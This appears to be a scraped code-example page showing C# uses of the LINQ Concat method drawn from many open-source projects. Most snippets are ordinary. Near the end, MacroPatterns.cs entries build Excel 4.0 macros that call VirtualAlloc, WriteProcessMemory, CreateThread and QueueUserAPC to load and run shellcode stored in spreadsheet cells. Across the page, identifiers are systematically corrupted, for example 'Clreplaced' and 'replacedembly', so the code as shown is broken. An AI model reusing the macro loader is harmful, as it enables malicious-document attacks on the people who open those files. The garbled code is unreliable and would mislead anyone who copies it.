Here are the examples of the csharp api System.Collections.Generic.IEnumerable.Concat(System.Collections.Generic.IEnumerable) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
4769 Examples
19
View Source File : ModelClassGenerator.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
private static ClreplacedDeclarationSyntax GenerateClreplaced(SqModelMeta meta, bool rwClreplacedes, ClreplacedDeclarationSyntax? existingClreplaced)
{
ClreplacedDeclarationSyntax result;
MemberDeclarationSyntax[]? oldMembers = null;
Dictionary<string,SyntaxList<AttributeListSyntax>>? oldAttributes = null;
if (existingClreplaced != null)
{
result = existingClreplaced;
oldMembers = result.Members
.Where(md =>
{
if (md is ConstructorDeclarationSyntax)
{
return false;
}
if (md is IncompleteMemberSyntax)
{
return false;
}
if (md is PropertyDeclarationSyntax p)
{
if (meta.Properties.Any(mp => mp.Name == p.Identifier.ValueText))
{
if (p.AttributeLists.Count > 0)
{
oldAttributes ??= new Dictionary<string, SyntaxList<AttributeListSyntax>>();
oldAttributes.Add(p.Identifier.ValueText, p.AttributeLists);
}
return false;
}
}
if (md is MethodDeclarationSyntax method)
{
var name = method.Identifier.ValueText;
if (name.StartsWith("With") || AllMethods.Contains(name) || name.StartsWith(MethodNameGetReader + "For") || name.StartsWith(MethodNameGetUpdater + "For"))
{
return false;
}
}
if (md is ClreplacedDeclarationSyntax clreplacedDeclaration)
{
var name = clreplacedDeclaration.Identifier.ValueText;
if (name == meta.Name + ReaderClreplacedSuffix || name.StartsWith(meta.Name + ReaderClreplacedSuffix + "For"))
{
return false;
}
if (name == meta.Name + UpdaterClreplacedSuffix || name.StartsWith(meta.Name + UpdaterClreplacedSuffix + "For"))
{
return false;
}
}
return true;
})
.ToArray();
result = result.RemoveNodes(result.DescendantNodes().OfType<MemberDeclarationSyntax>(), SyntaxRemoveOptions.KeepNoTrivia)!;
}
else
{
result = SyntaxFactory.ClreplacedDeclaration(meta.Name)
.WithModifiers(existingClreplaced?.Modifiers ?? Modifiers(SyntaxKind.PublicKeyword));
}
result = result
.AddMembers(Constructors(meta)
.Concat(GenerateStaticFactory(meta))
.Concat(rwClreplacedes ? GenerateOrdinalStaticFactory(meta) : Array.Empty<MemberDeclarationSyntax>())
.Concat(Properties(meta, oldAttributes))
.Concat(GenerateWithModifiers(meta))
.Concat(GenerateGetColumns(meta))
.Concat(GenerateMapping(meta))
.Concat(rwClreplacedes ? GenerateReaderClreplaced(meta): Array.Empty<MemberDeclarationSyntax>())
.Concat(rwClreplacedes ? GenerateWriterClreplaced(meta) : Array.Empty<MemberDeclarationSyntax>())
.ToArray());
if (oldMembers != null && oldMembers.Length > 0)
{
result = result.AddMembers(oldMembers);
}
return result;
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
private static void GenerateSyntaxModify(IReadOnlyList<NodeModel> models, StringBuilder stringBuilder)
{
CodeBuilder builder = new CodeBuilder(stringBuilder, 2);
foreach (var nodeModel in models)
{
var subNodes = nodeModel.SubNodes.Concat(nodeModel.Properties).ToList();
foreach (var subNode in subNodes)
{
builder.AppendLineStart(0, $"public static {nodeModel.TypeName} With{subNode.PropertyName}(this {nodeModel.TypeName} original, {subNode.GetFullPropertyTypeName()} new{subNode.PropertyName}) ");
builder.AppendStart(1, $"=> new {nodeModel.TypeName}(");
for (var index = 0; index < subNodes.Count; index++)
{
var subNodeConst = subNodes[index];
if (index != 0)
{
builder.Append(", ");
}
builder.Append(subNodeConst == subNode
? $"{subNode.ConstructorArgumentName}: new{subNode.PropertyName}"
: $"{subNodeConst.ConstructorArgumentName}: original.{subNodeConst.PropertyName}");
}
builder.AppendLine(");");
builder.AppendLine(null);
}
}
}
19
View Source File : ModelClassGenerator.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
public static CompilationUnitSyntax Generate(SqModelMeta meta, string defaultNamespace, string existingFilePath, bool rwClreplacedes, IFileSystem fileSystem, out bool existing)
{
CompilationUnitSyntax result;
ClreplacedDeclarationSyntax? existingClreplaced = null;
existing = false;
if (fileSystem.FileExists(existingFilePath))
{
existing = true;
var tClreplaced = CSharpSyntaxTree.ParseText(fileSystem.ReadAllText(existingFilePath));
existingClreplaced = tClreplaced.GetRoot()
.DescendantNodes()
.OfType<ClreplacedDeclarationSyntax>()
.FirstOrDefault(cd => cd.Identifier.ValueText == meta.Name);
}
var namespaces =
new[] {
nameof(System),
nameof(SqExpress),
$"{nameof(SqExpress)}.{nameof(SqExpress.QueryBuilders)}.{nameof(SqExpress.QueryBuilders.RecordSetter)}"
}
.Concat(meta.Properties.SelectMany(p => p.Column)
.Select(c => c.TableRef.TableTypeNameSpace)
.Where(n => n != defaultNamespace))
.Distinct()
.ToList();
if (rwClreplacedes || ExtractTableRefs(meta).Any(tr => tr.BaseTypeKindTag == BaseTypeKindTag.DerivedTableBase))
{
namespaces.Add($"{nameof(SqExpress)}.{nameof(SqExpress.Syntax)}.{nameof(SqExpress.Syntax.Names)}");
namespaces.Add($"{nameof(System)}.{nameof(System.Collections)}.{nameof(System.Collections.Generic)}");
}
if (existingClreplaced != null)
{
result = existingClreplaced.FindParentOrDefault<CompilationUnitSyntax>() ?? throw new SqExpressCodeGenException($"Could not find compilation unit in \"{existingFilePath}\"");
foreach (var usingDirectiveSyntax in result.Usings)
{
var existingUsing = usingDirectiveSyntax.Name.ToFullString();
var index = namespaces.IndexOf(existingUsing);
if (index >= 0)
{
namespaces.RemoveAt(index);
}
}
if (namespaces.Count > 0)
{
result = result.AddUsings(namespaces
.Select(n => SyntaxFactory.UsingDirective(SyntaxFactory.ParseName(n)))
.ToArray());
}
result = result.ReplaceNode(existingClreplaced, GenerateClreplaced(meta, rwClreplacedes, existingClreplaced));
}
else
{
result = SyntaxFactory.CompilationUnit()
.AddUsings(namespaces.Select(n => SyntaxFactory.UsingDirective(SyntaxFactory.ParseName(n))).ToArray())
.AddMembers(SyntaxFactory.NamespaceDeclaration(SyntaxFactory.ParseName(defaultNamespace))
.AddMembers(GenerateClreplaced(meta, rwClreplacedes, null)));
}
return result.NormalizeWhitespace();
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
public static IReadOnlyList<NodeModel> BuildModelRoslyn(string projectFolder)
{
List<NodeModel> result = new List<NodeModel>();
var files = Directory.EnumerateFiles(Path.Combine(projectFolder, "Syntax"), "*.cs", SearchOption.AllDirectories);
files = files.Concat(Directory.EnumerateFiles(projectFolder, "IExpr*.cs"));
var trees = files.Select(f => CSharpSyntaxTree.ParseText(File.ReadAllText(f))).ToList();
var cSharpCompilation = CSharpCompilation.Create("Syntax", trees);
foreach (var tree in trees)
{
var semantic = cSharpCompilation.GetSemanticModel(tree);
foreach (var clreplacedDeclarationSyntax in tree.GetRoot().DescendantNodesAndSelf().OfType<ClreplacedDeclarationSyntax>())
{
var clreplacedSymbol = semantic.GetDeclaredSymbol(clreplacedDeclarationSyntax);
var isSuitable = clreplacedSymbol != null
&& !clreplacedSymbol.IsAbstract
&& clreplacedSymbol.DeclaredAccessibility == Accessibility.Public
&& IsExpr(clreplacedSymbol)
&& clreplacedSymbol.Name.StartsWith("Expr");
if (!isSuitable)
{
continue;
}
var properties = GetProperties(clreplacedSymbol);
var subNodes = new List<SubNodeModel>();
var modelProps = new List<SubNodeModel>();
foreach (var constructor in clreplacedSymbol.Constructors)
{
foreach (var parameter in constructor.Parameters)
{
INamedTypeSymbol pType = (INamedTypeSymbol)parameter.Type;
var correspondingProperty = properties.FirstOrDefault(prop =>
string.Equals(prop.Name,
parameter.Name,
StringComparison.CurrentCultureIgnoreCase));
if (correspondingProperty == null)
{
throw new Exception(
$"Could not find a property for the constructor arg: '{parameter.Name}'");
}
var ta = replacedyzeSymbol(ref pType);
var subNodeModel = new SubNodeModel(correspondingProperty.Name,
parameter.Name,
pType.Name,
ta.ListName,
ta.IsNullable,
ta.HostTypeName);
if (ta.Expr)
{
subNodes.Add(subNodeModel);
}
else
{
modelProps.Add(subNodeModel);
}
}
}
result.Add(new NodeModel(clreplacedSymbol.Name,
modelProps.Count == 0 && subNodes.Count == 0,
subNodes,
modelProps));
}
}
result.Sort((a, b) => string.CompareOrdinal(a.TypeName, b.TypeName));
return result;
bool IsExpr(INamedTypeSymbol symbol)
{
if (symbol.Name == "IExpr")
{
return true;
}
while (symbol != null)
{
if (symbol.Interfaces.Any(HasA))
{
return true;
}
symbol = symbol.BaseType;
}
return false;
bool HasA(INamedTypeSymbol iSym)
{
if (iSym.Name == "IExpr")
{
return true;
}
return IsExpr(iSym);
}
}
List<ISymbol> GetProperties(INamedTypeSymbol symbol)
{
List<ISymbol> result = new List<ISymbol>();
while (symbol != null)
{
result.AddRange(symbol.GetMembers().Where(m => m.Kind == SymbolKind.Property));
symbol = symbol.BaseType;
}
return result;
}
Symbolreplacedysis replacedyzeSymbol(ref INamedTypeSymbol typeSymbol)
{
string listName = null;
string hostType = null;
if (typeSymbol.ContainingType != null)
{
var host = typeSymbol.ContainingType;
hostType = host.Name;
}
var nullable = typeSymbol.NullableAnnotation == NullableAnnotation.Annotated;
if (nullable && typeSymbol.Name == "Nullable")
{
typeSymbol = (INamedTypeSymbol)typeSymbol.TypeArguments.Single();
}
if (typeSymbol.IsGenericType)
{
if (typeSymbol.Name.Contains("List"))
{
listName = typeSymbol.Name;
}
if (typeSymbol.Name == "Nullable")
{
nullable = true;
}
typeSymbol = (INamedTypeSymbol)typeSymbol.TypeArguments.Single();
}
return new Symbolreplacedysis(nullable, listName, IsExpr(typeSymbol), hostType);
}
}
19
View Source File : IO.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
public static IEnumerable<string> GetFilepaths(string rootPath, string patternMatch, SearchOption searchOption)
{
var foundFiles = Enumerable.Empty<string>();
try
{
foundFiles = foundFiles.Concat(Directory.EnumerateFiles(rootPath, patternMatch));
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
if (searchOption == SearchOption.AllDirectories)
{
try
{
var subDirs = Directory.EnumerateDirectories(rootPath);
foreach (var dir in subDirs)
{
try
{
var newFiles = GetFilepaths(dir, patternMatch, searchOption);
foundFiles = foundFiles.Concat(newFiles);
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{dir}: {e.Message}");
}
}
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
}
return foundFiles;
}
19
View Source File : RedumpProvider.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
public async Task<HashSet<DiscKeyInfo>> EnumerateAsync(string discKeyCachePath, string ProductCode, CancellationToken cancellationToken)
{
var result = new HashSet<DiscKeyInfo>();
try
{
var replacedembly = replacedembly.GetExecutingreplacedembly();
var embeddedResources = replacedembly.GetManifestResourceNames().Where(n => n.Contains("Disc_Keys") || n.Contains("Disc Keys")).ToList();
if (embeddedResources.Any())
Log.Trace("Loading embedded redump keys");
else
Log.Warn("No embedded redump keys found");
foreach (var res in embeddedResources)
{
using var resStream = replacedembly.GetManifestResourceStream(res);
using var zip = new ZipArchive(resStream, ZipArchiveMode.Read);
foreach (var zipEntry in zip.Entries.Where(e => e.Name.EndsWith(".dkey", StringComparison.InvariantCultureIgnoreCase)
|| e.Name.EndsWith(".key", StringComparison.InvariantCultureIgnoreCase)))
{
using var keyStream = zipEntry.Open();
using var memStream = new MemoryStream();
await keyStream.CopyToAsync(memStream, cancellationToken).ConfigureAwait(false);
var discKey = memStream.ToArray();
if (zipEntry.Length > 256/8*2)
{
Log.Warn($"Disc key size is too big: {discKey} ({res}/{zipEntry.FullName})");
continue;
}
if (discKey.Length > 16)
{
discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
}
try
{
result.Add(new DiscKeyInfo(null, discKey, zipEntry.FullName, KeyType.Redump, discKey.ToHexString()));
}
catch (Exception e)
{
Log.Warn(e, $"Invalid disc key format: {discKey}");
}
}
}
if (result.Any())
Log.Info($"Found {result.Count} embedded redump keys");
else
Log.Warn($"Failed to load any embedded redump keys");
}
catch (Exception e)
{
Log.Error(e, "Failed to load embedded redump keys");
}
Log.Trace("Loading cached redump keys");
var diff = result.Count;
try
{
if (Directory.Exists(discKeyCachePath))
{
var matchingDiskKeys = Directory.GetFiles(discKeyCachePath, "*.dkey", SearchOption.TopDirectoryOnly)
.Concat(Directory.GetFiles(discKeyCachePath, "*.key", SearchOption.TopDirectoryOnly));
foreach (var dkeyFile in matchingDiskKeys)
{
try
{
try
{
var discKey = File.ReadAllBytes(dkeyFile);
if (discKey.Length > 16)
{
try
{
discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
}
catch (Exception e)
{
Log.Warn(e, $"Failed to convert {discKey.ToHexString()} from hex to binary");
}
}
result.Add(new DiscKeyInfo(null, discKey, dkeyFile, KeyType.Redump, discKey.ToString()));
}
catch (InvalidDataException)
{
File.Delete(dkeyFile);
continue;
}
catch (Exception e)
{
Log.Warn(e);
continue;
}
}
catch (Exception e)
{
Log.Warn(e, e.Message);
}
}
}
}
catch (Exception ex)
{
Log.Warn(ex, "Failed to load redump keys from local cache");
}
diff = result.Count - diff;
Log.Info($"Found {diff} cached disc keys");
return result;
}
19
View Source File : IO.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
private static IEnumerable<string> GetFilepaths(string rootPath, string patternMatch, int currentLevel, int maxLevel)
{
var foundFiles = Enumerable.Empty<string>();
try
{
foundFiles = foundFiles.Concat(Directory.EnumerateFiles(rootPath, patternMatch));
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
if (currentLevel < maxLevel)
{
try
{
var subDirs = Directory.EnumerateDirectories(rootPath);
foreach (var dir in subDirs)
{
try
{
var newFiles = GetFilepaths(dir, patternMatch, currentLevel+1, maxLevel);
foundFiles = foundFiles.Concat(newFiles);
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{dir}: {e.Message}");
}
}
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
}
return foundFiles;
}
19
View Source File : ProxyGenerator.cs
License : MIT License
Project Creator : 1100100
License : MIT License
Project Creator : 1100100
private static MemoryStream CompileClientProxy(IEnumerable<SyntaxTree> trees, IEnumerable<MetadataReference> references)
{
var replacedemblies = new[]
{
"System.Runtime",
"mscorlib",
"System.Threading.Tasks",
"System.Collections"
};
references = replacedemblies.Select(i => MetadataReference.CreateFromFile(replacedembly.Load(new replacedemblyName(i)).Location)).Concat(references);
references = references.Concat(new[]
{
MetadataReference.CreateFromFile(typeof(Task).GetTypeInfo().replacedembly.Location),
MetadataReference.CreateFromFile(typeof(DynamicProxyAbstract).GetTypeInfo().replacedembly.Location)
});
return Compile("Uragano.DynamicProxy.UraganoProxy", trees, references);
}
19
View Source File : Dumper.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
private List<string> EnumeratePhysicalDrivesLinux()
{
var cdInfo = "";
try
{
cdInfo = File.ReadAllText("/proc/sys/dev/cdrom/info");
}
catch (Exception e)
{
Log.Debug(e, e.Message);
}
var lines = cdInfo.Split(MultilineSplit, StringSplitOptions.RemoveEmptyEntries);
return lines.Where(s => s.StartsWith("drive name:")).Select(l => Path.Combine("/dev", l.Split(':').Last().Trim())).Where(File.Exists)
.Concat(IOEx.GetFilepaths("/dev", "sr*", SearchOption.TopDirectoryOnly))
.Distinct()
.ToList();
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
private static IEnumerable<string> GetFilePaths(string rootPath, string patternMatch, SearchOption searchOption)
{
var foundFiles = Enumerable.Empty<string>();
try
{
foundFiles = foundFiles.Concat(Directory.EnumerateFiles(rootPath, patternMatch));
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
if (searchOption == SearchOption.AllDirectories)
{
try
{
var subDirs = Directory.EnumerateDirectories(rootPath);
foreach (var dir in subDirs)
{
try
{
var newFiles = GetFilePaths(dir, patternMatch, searchOption);
foundFiles = foundFiles.Concat(newFiles);
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{dir}: {e.Message}");
}
}
}
catch (Exception e) when (e is UnauthorizedAccessException || e is PathTooLongException)
{
Console.WriteLine($"{rootPath}: {e.Message}");
}
}
return foundFiles;
}
19
View Source File : HttpSender.cs
License : MIT License
Project Creator : 1iveowl
License : MIT License
Project Creator : 1iveowl
private byte[] ComposeResponse(IHttpRequest request, IHttpResponse response)
{
var stringBuilder = new StringBuilder();
stringBuilder.Append(
$"HTTP/{request.MajorVersion}.{request.MinorVersion} {(int)response.StatusCode} {response.ResponseReason}\r\n");
if (response.Headers != null)
{
if (response.Headers.Any())
{
foreach (var header in response.Headers)
{
stringBuilder.Append($"{header.Key}: {header.Value}\r\n");
}
}
}
if (response.Body?.Length > 0)
{
stringBuilder.Append($"Content-Length: {response?.Body?.Length}");
}
stringBuilder.Append("\r\n\r\n");
var datagram = Encoding.UTF8.GetBytes(stringBuilder.ToString());
if (response.Body?.Length > 0)
{
datagram = datagram.Concat(response?.Body?.ToArray()).ToArray();
}
Debug.WriteLine(Encoding.UTF8.GetString(datagram, 0, datagram.Length));
return datagram;
}
19
View Source File : HttpStreamParser.cs
License : MIT License
Project Creator : 1iveowl
License : MIT License
Project Creator : 1iveowl
private byte[] ResilientHeader(byte[] b)
{
if (!IsDone)
{
_last4BytesCircularBuffer.Enqueue(b[0]);
}
else
{
if (!_parserDelegate.IsHeaderDone)
{
var last4Byte = _last4BytesCircularBuffer.ToArray();
if (last4Byte != _correctLast4BytesReversed)
{
byte[] returnNewLine = { 0x0d, 0x0a };
var correctionList = new List<byte>();
if (last4Byte[0] != _correctLast4BytesReversed[0] || last4Byte[1] != _correctLast4BytesReversed[1])
{
correctionList.Add(returnNewLine[0]);
correctionList.Add(returnNewLine[1]);
}
if (last4Byte[2] != _correctLast4BytesReversed[2] || last4Byte[3] != _correctLast4BytesReversed[3])
{
correctionList.Add(returnNewLine[0]);
correctionList.Add(returnNewLine[1]);
}
if (correctionList.Any())
{
return correctionList.Concat(correctionList.Select(x => x)).ToArray();
}
}
}
}
return b;
}
19
View Source File : Resp3HelperTests.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public Resp3Helper.ReadResult<string> ModuleLoad(string path, params string[] args) => args?.Any() == true ? ExecCmd<string>("MODULE", "LOAD", new[] { path }.Concat(args)) : ExecCmd<string>("MODULE", "LOAD", path);
19
View Source File : TypeExtension.cs
License : MIT License
Project Creator : 2881099
License : MIT License
Project Creator : 2881099
public static IEnumerable<MethodInfo> GetApis(this Type type)
{
var addMethods = type.GetEvents().Select(_event => _event.GetAddMethod());
var removeMethods = type.GetEvents().Select(_event => _event.GetRemoveMethod());
var getMethods = type.GetProperties().Select(_propety => _propety.GetGetMethod());
var setMethods = type.GetProperties().Select(_propety => _propety.GetSetMethod());
var enumerable = addMethods
.Concat(removeMethods)
.Concat(getMethods)
.Concat(setMethods)
.Where(_method=>_method != null)
.Select(_method => _method.Name);
var methods = enumerable.ToList();
methods.Add("Dispose");
return type.GetMethods(BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly).Where(_method=> !methods.Contains(_method.Name));
}
19
View Source File : Program.cs
License : GNU Affero General Public License v3.0
Project Creator : 3CORESec
License : GNU Affero General Public License v3.0
Project Creator : 3CORESec
public static void LoadMismatchSearchMatrix(Options o)
{
if (o.Warning)
{
foreach (var x in (JsonConvert.DeserializeObject<JObject>(new WebClient().DownloadString(o.MitreMatrix))["objects"] as JArray)!
.Where(x => x["external_references"] != null && x["external_references"].Any(y => y["source_name"] != null && x["kill_chain_phases"] != null)))
{
var techId = x["external_references"]
.First(x => x["source_name"].ToString() == "mitre-attack")["external_id"]
.ToString();
if (!mismatchSearchMatrix.ContainsKey(techId))
mismatchSearchMatrix.Add(techId,
x["kill_chain_phases"]!.Select(x => x["phase_name"].ToString()).ToList()
);
else
{
mismatchSearchMatrix[techId] = mismatchSearchMatrix[techId].Concat(x["kill_chain_phases"]!.Select(x => x["phase_name"].ToString())).ToList();
}
}
}
}
19
View Source File : SlackSender.cs
License : GNU Affero General Public License v3.0
Project Creator : 3CORESec
License : GNU Affero General Public License v3.0
Project Creator : 3CORESec
private async Task<(string, string)> GenerateAlert((string, Dictionary<string, dynamic>) res, string sourceIp)
{
var ipLinks = new List<string>();
var sessionLinks = new List<string>();
try
{
if (!string.IsNullOrEmpty(res.Item1))
{
var sessionLogs = await GetLogs(res.Item1);
if (sessionLogs.Any())
{
sessionLinks = sessionLogs;
res.Item2["Session ID Hits"] = sessionLogs.Count;
}
}
var ipLogs = await GetLogs(sourceIp);
if (ipLogs.Any())
{
ipLinks = ipLogs;
res.Item2["IP Hits"] = ipLogs.Count;
}
}
catch (Exception e)
{
Console.WriteLine($"Error getting logs : {e.Message}");
}
return (
res.Item1,
JsonSerializer.Serialize(new List<dynamic>
{
new
{
replacedle = sourceIp,
replacedle_link = threat_intel_link.Replace("{IP}", sourceIp),
color = "danger",
text = "",
footer = "Trapdoor by 3CORESec",
thumb_url = country_flag_link.Replace("{CC}", await GetCountryCode(sourceIp)),
fields = res.Item2
.Select(x => new {replacedle = x.Key, value = x.Value, @short = true})
.Concat(new List<dynamic>{new {replacedle = "Previous Session Logs: "}})
.Concat(sessionLinks.Select(x => new { value = x}))
.Concat(new List<dynamic>{new {replacedle = "Previous IP Logs: "}})
.Concat(ipLinks.Select(x => new {value = x}))
}
}));
}
19
View Source File : Utils.cs
License : MIT License
Project Creator : 71
License : MIT License
Project Creator : 71
internal static IEnumerable<MethodInfo> GetMethods(this TypeInfo type, string name)
{
return type.BaseType == null
? type.GetDeclaredMethods(name)
: type.GetDeclaredMethods(name).Concat(type.BaseType.GetTypeInfo().GetMethods(name));
}
19
View Source File : Visitor.LINQ.cs
License : MIT License
Project Creator : 71
License : MIT License
Project Creator : 71
public override Expression VisitQueryExpression(QueryExpressionSyntax node)
{
return Expressive.Query(
Enumerable.Repeat(VisitContinuationClause(node.FromClause), 1)
.Concat(VisitLinqBody(node.Body))
);
}
19
View Source File : AllLayerInfos.cs
License : MIT License
Project Creator : a3geek
License : MIT License
Project Creator : a3geek
public void Initialize()
{
this.PhysicsLayerCount = this.PhysicsLayerInfos.LayerCount;
this.PhysicsLayers = this.PhysicsLayerInfos.Layers;
this.PhysicsLayerIDs = this.PhysicsLayerInfos.LayerIDs.ToArray();
this.PhysicsLayerNames = this.PhysicsLayerInfos.LayerNames.ToArray();
this.UnityLayers = this.UnityLayerInfos.Layers;
this.UnityLayerIDs = this.UnityLayerInfos.LayerIDs.ToArray();
this.UnityLayerNames = this.UnityLayerInfos.LayerNames.ToArray();
foreach(var layerID in this.UnityLayerIDs.Concat(this.PhysicsLayerIDs))
{
this.ignoreLayersCache[layerID] = this.GetIgnoreIDs(layerID);
}
this.Inited = true;
}
19
View Source File : ExternalCommunicator.cs
License : Apache License 2.0
Project Creator : A7ocin
License : Apache License 2.0
Project Creator : A7ocin
public void giveBrainInfo(Brain brain)
{
string brainName = brain.gameObject.name;
current_agents[brainName] = new List<int>(brain.agents.Keys);
List<float> concatenatedStates = new List<float>();
List<float> concatenatedRewards = new List<float>();
List<float> concatenatedMemories = new List<float>();
List<bool> concatenatedDones = new List<bool>();
List<float> concatenatedActions = new List<float>();
Dictionary<int, List<Camera>> collectedObservations = brain.CollectObservations();
Dictionary<int, List<float>> collectedStates = brain.CollectStates();
Dictionary<int, float> collectedRewards = brain.CollectRewards();
Dictionary<int, float[]> collectedMemories = brain.CollectMemories();
Dictionary<int, bool> collectedDones = brain.CollectDones();
Dictionary<int, float[]> collectedActions = brain.CollectActions();
foreach (int id in current_agents[brainName])
{
concatenatedStates = concatenatedStates.Concat(collectedStates[id]).ToList();
concatenatedRewards.Add(collectedRewards[id]);
concatenatedMemories = concatenatedMemories.Concat(collectedMemories[id].ToList()).ToList();
concatenatedDones.Add(collectedDones[id]);
concatenatedActions = concatenatedActions.Concat(collectedActions[id].ToList()).ToList();
}
StepMessage message = new StepMessage()
{
brain_name = brainName,
agents = current_agents[brainName],
states = concatenatedStates,
rewards = concatenatedRewards,
actions = concatenatedActions,
memories = concatenatedMemories,
dones = concatenatedDones
};
string envMessage = JsonConvert.SerializeObject(message, Formatting.Indented);
sender.Send(AppendLength(Encoding.ASCII.GetBytes(envMessage)));
Receive();
int i = 0;
foreach (resolution res in brain.brainParameters.cameraResolutions)
{
foreach (int id in current_agents[brainName])
{
sender.Send(AppendLength(TexToByteArray(brain.ObservationToTex(collectedObservations[id][i], res.width, res.height))));
Receive();
}
i++;
}
hreplacedentState[brainName] = true;
if (hreplacedentState.Values.All(x => x))
{
// if all the brains listed have sent their state
sender.Send(Encoding.ASCII.GetBytes((academy.done ? "True" : "False")));
List<string> brainNames = hreplacedentState.Keys.ToList();
foreach (string k in brainNames)
{
hreplacedentState[k] = false;
}
}
}
19
View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public static List<String> GetMultiPlatformBinaryPattern(List<string> preamble, string macroSheetName)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
}
else
{
offset = preamble.Count + 1;
}
//These variables replacedume certain positions in generated macros
//Col 1 is our main logic
//Col 2 is our x86 payload, terminated by END
//Col 3 is our x64 payload, terminated by END
string x86CellStart = string.Format("R{0}C1", offset + 4); //A5
string x64CellStart = string.Format("R{0}C1", offset + 15); //A16
string variableName = DefaultVariableName;
string x86PayloadCellStart = "R1C2"; //B1
string x64PayloadCellStart = "R1C3"; //C1
string rowsWrittenCell = "R1C4"; //D1
string lengthOfCurrentCell = "R2C4"; //D2
//Happens to be the same cell right now
string x86AllocatedMemoryBase = x86CellStart;
string x64AllocatedMemoryBase = string.Format("R{0}C1", offset + 16); //A17
List<string> macros = new List<string>()
{
"=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"Valloc\",,1,9)",
"=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WProcessMemory\",,1,9)",
"=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CThread\",,1,9)",
string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),GOTO({0}),GOTO({1}))",x86CellStart, x64CellStart),
"=Valloc(0,10000000,4096,64)",
string.Format("{0}={1}", variableName, x86PayloadCellStart),
string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
string.Format("=WHILE({0}<>\"END\")", variableName),
string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
string.Format("=WProcessMemory(-1,{0}+({1}*255),{2},LEN({2}),0)", x86AllocatedMemoryBase, rowsWrittenCell, variableName),
string.Format("=SET.VALUE({0},{0}+1)", rowsWrittenCell),
string.Format("{0}=ABSREF(\"R[1]C\",{0})",variableName),
"=NEXT()",
string.Format("=CThread(0,0,{0},0,0,0)", x86AllocatedMemoryBase),
"=HALT()",
"1342439424", //Base memory address to brute force a page
"0",
string.Format("=WHILE({0}=0)", x64AllocatedMemoryBase),
string.Format("=SET.VALUE({0},Valloc({1},10000000,12288,64))", x64AllocatedMemoryBase, x64CellStart),
string.Format("=SET.VALUE({0},{0}+262144)", x64CellStart),
"=NEXT()",
"=REGISTER(\"Kernel32\",\"RtlCopyMemory\",\"JJCJ\",\"RTL\",,1,9)",
"=REGISTER(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\",\"Queue\",,1,9)",
"=REGISTER(\"ntdll\",\"NtTestAlert\",\"J\",\"Go\",,1,9)",
string.Format("{0}={1}", variableName, x64PayloadCellStart),
string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
string.Format("=WHILE({0}<>\"END\")", variableName),
string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
string.Format("=RTL({0}+({1}*255),{2},LEN({2}))", x64AllocatedMemoryBase, rowsWrittenCell, variableName),
string.Format("=SET.VALUE({0},{0}+1)",rowsWrittenCell),
string.Format("{0}=ABSREF(\"R[1]C\",{0})", variableName),
"=NEXT()",
string.Format("=Queue({0},-2,0)", x64AllocatedMemoryBase),
"=Go()",
string.Format("=SET.VALUE({0},0)",x64AllocatedMemoryBase),
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
19
View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public static List<String> GetBase64DecodePattern(List<string> preamble)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
}
else
{
offset = preamble.Count + 1;
}
//These variables replacedume certain positions in generated macros
//Col 1 is our main logic
string registerImportsFunction = string.Format("R{0}C1", offset+1); //A2
string allocateMemoryFunction = string.Format("R{0}C1", offset+5); //A6
string writeLoopFunction = string.Format("R{0}C1", offset+12); //A13
string defineFunctionsFunction = string.Format("R{0}C1", offset+26); //A27
string actualStart = string.Format("R{0}C1", offset + 30); //A31
//Col 2 is our x86 payload, terminated by END
string x86Payload = string.Format("R1C{0}", 2);
//Col 3 is our x64 payload, terminated by END
string x64Payload = string.Format("R1C{0}", 3);
List<string> macros = new List<string>()
{
